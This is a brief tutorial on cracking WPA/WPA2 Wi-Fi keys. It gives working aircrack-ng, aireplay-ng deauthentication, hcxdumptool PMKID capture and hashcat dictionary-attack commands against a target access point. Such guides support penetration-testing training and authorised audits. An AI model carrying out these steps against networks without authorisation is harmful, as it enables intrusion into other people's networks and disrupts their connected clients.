Wireless Reconnaissance & WPA Cracking

802.11 Frame Types

Wireless networks transmit data over radio frequencies using 802.11 frame management types:

1. Management Frames: Beacon frames (SSID broadcast), Probe requests/responses, Authentication/Deauthentication frames.
2. Control Frames: RTS/CTS, ACK frames.
3. Data Frames: Encrypted payload carrying TCP/IP network traffic.

---

1. Capturing WPA/WPA2 4-Way Handshakes

To crack a WPA/WPA2 Pre-Shared Key (PSK), an attacker must capture the 4-Way Handshake exchanged when a client authenticates with an Access Point (AP).

Client                                     Access Point (AP)
  | <--- 1. ANonce + Key Replay Counter ----- |
  | --- 2. SNonce + MIC --------------------> |
  | <--- 3. GTK + MIC ----------------------- |
  | --- 4. ACK -----------------------------> |

Steps with Aircrack-ng

# 1. Enable Monitor Mode on wireless interface
sudo airmon-ng start wlan0

# 2. Discover nearby networks (note BSSID and Channel)
sudo airodump-ng wlan0mon

# 3. Capture handshake on target channel
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture_output wlan0mon

# 4. (Optional) Force deauthentication to capture handshake immediately
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

Verify airodump-ng displays: [ WPA handshake: AA:BB:CC:DD:EE:FF.

---

2. PMKID Attack (Clientless Capture)

The PMKID attack allows cracking WPA2 networks without needing a connected client!

The PMKID is included in the RSN IE (Robust Security Network Information Element) frame sent by the AP during initial association.

# Capture PMKID using hcxdumptool
sudo hcxdumptool -i wlan0mon -o pmkid_capture.pcapng --enable_status=1

# Extract PMKID hash format for Hashcat
hcxpcapngtool -o pmkid.hash pmkid_capture.pcapng

---

3. Offline Dictionary Attack with Hashcat

Once the 4-way handshake or PMKID hash is captured:

Convert PCAP to Hashcat format (.22000)

hcxpcapngtool -o wpa_handshake.22000 capture_output-01.cap

Crack Hash with GPU Acceleration (Hashcat Mode 22000)

hashcat -m 22000 wpa_handshake.22000 /usr/share/wordlists/rockyou.txt